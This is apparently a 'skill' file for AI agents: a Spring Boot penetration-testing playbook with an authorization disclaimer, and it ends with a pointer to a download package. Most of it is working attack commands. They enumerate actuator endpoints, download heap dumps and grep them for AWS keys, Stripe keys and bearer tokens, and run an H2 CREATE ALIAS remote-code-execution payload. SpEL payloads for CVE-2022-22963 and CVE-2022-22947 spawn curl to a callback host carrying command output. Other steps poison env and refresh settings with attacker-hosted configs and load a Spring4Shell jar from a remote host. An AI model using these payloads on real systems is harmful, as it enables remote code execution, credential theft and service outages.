hunt-springboot – Security skill for AI agents

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities

Endpoint availability, sanitization and CVE impact depend on exact versions/configuration; upstream report_count and severity labels are not verified evidence. A matching banner, JSON content type or arithmetic result alone does not prove Spring-specific exploitation. Use the [Spring4Shell advisory](https://spring.io/security/cve-2022-22965/) for required components and fixed versions.

Heap dumps can expose extensive personal data and strain availability: omit heapdump from generic enumeration and obtain a separate bounded evidence plan before capture. Do not print secrets or use recovered credentials. Route/env writes, refresh, shutdown and webshell persistence require separate exact-action authorization and cleanup plans in a disposable test environment.

Crown Jewel Targets

An unintentionally accessible heap dump can disclose sensitive live-memory data, but contents and impact must be established rather than assumed.

Highest-value findings:

• /actuator/heapdump — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
• /actuator/env — lists all environment variables and Spring properties including secrets
• /actuator/shutdown — POST → shuts down the application (Critical availability impact)
• H2 Console (/h2-console) — in-memory DB admin UI → SQL query execution → potential RCE via CREATE ALIAS trick
• SpEL injection — Spring Expression Language in template fields, @Value annotations, SpEL-processed request params → RCE
• Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → RCE via data binding

---

Phase 1 — Fingerprint Spring Boot

# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"

# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null

# Try common base paths
for base in "" "/manage" "/management" "/app"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
  [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done

---

Phase 2 — Actuator Endpoint Enumeration

BASE="https://$TARGET/actuator"

# High-impact endpoints
ENDPOINTS=("env" "threaddump" "mappings" "beans" "metrics"
           "loggers" "info" "health" "configprops" "shutdown" "trace"
           "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
           "flyway" "liquibase" "refresh" "restart")

for EP in "${ENDPOINTS[@]}"; do
  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
  # page for many paths. Require actuator-shaped JSON (or a heapdump body)
  # before calling it EXPOSED.
  BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
  CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
  if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
    echo "[?] Candidate JSON endpoint: $BASE/$EP (validate status/schema and intended access)"
  fi
done

# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20

# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort

# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100

---

Phase 3 — Heap Dump Analysis

# Download heap dump (can be large — 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof

# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
  grep -v "^[a-z_]" | sort -u | head -50

# More targeted extraction
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u        # AWS keys
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u     # Stripe keys
strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u   # Bearer tokens

# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/

---

Phase 4 — H2 Console RCE

# H2 console detection
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl -s "https://$TARGET/h2" | grep -i "H2 Console"
curl -s "https://$TARGET/console" | grep -i "H2"

# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb

# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
#   Runtime rt = Runtime.getRuntime();
#   String[] commands = {"sh","-c",cmd};
#   Process proc = rt.exec(commands);
#   return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');

---

Phase 5 — SpEL Injection

# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated

# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow

# Basic SpEL test
curl -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{7*7}"}'
# A controlled evaluation result is an indicator; identify the actual expression engine and context.

# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'

# CVE-2022-22963 — Spring Cloud Function SpEL
curl -s -X POST "https://$TARGET/functionRouter" \
  -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
  -d "test"

---

Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)

If the gateway actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):

curl -s -X POST "$BASE/gateway/routes/hax" -H "Content-Type: application/json" \
 -d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
curl -s -X POST "$BASE/gateway/refresh"; curl -s "$BASE/gateway/routes"

Phase 5c — Writable /env -> /refresh gadget RCE

When /actuator/env accepts POST and /actuator/refresh exists, poison a property then reload:

# logback JNDI:
curl -s -X POST "$BASE/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
# Eureka XStream deserialization:
curl -s -X POST "$BASE/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}'
curl -s -X POST "$BASE/refresh"

(Veracode: Exploiting Spring Boot Actuators.)

Phase 6 — Spring4Shell (CVE-2022-22965)

# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment

# Detection: does the app accept class.* parameters?
curl -s "https://$TARGET/api/user" \
  -d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLL

… (full content is in the download package)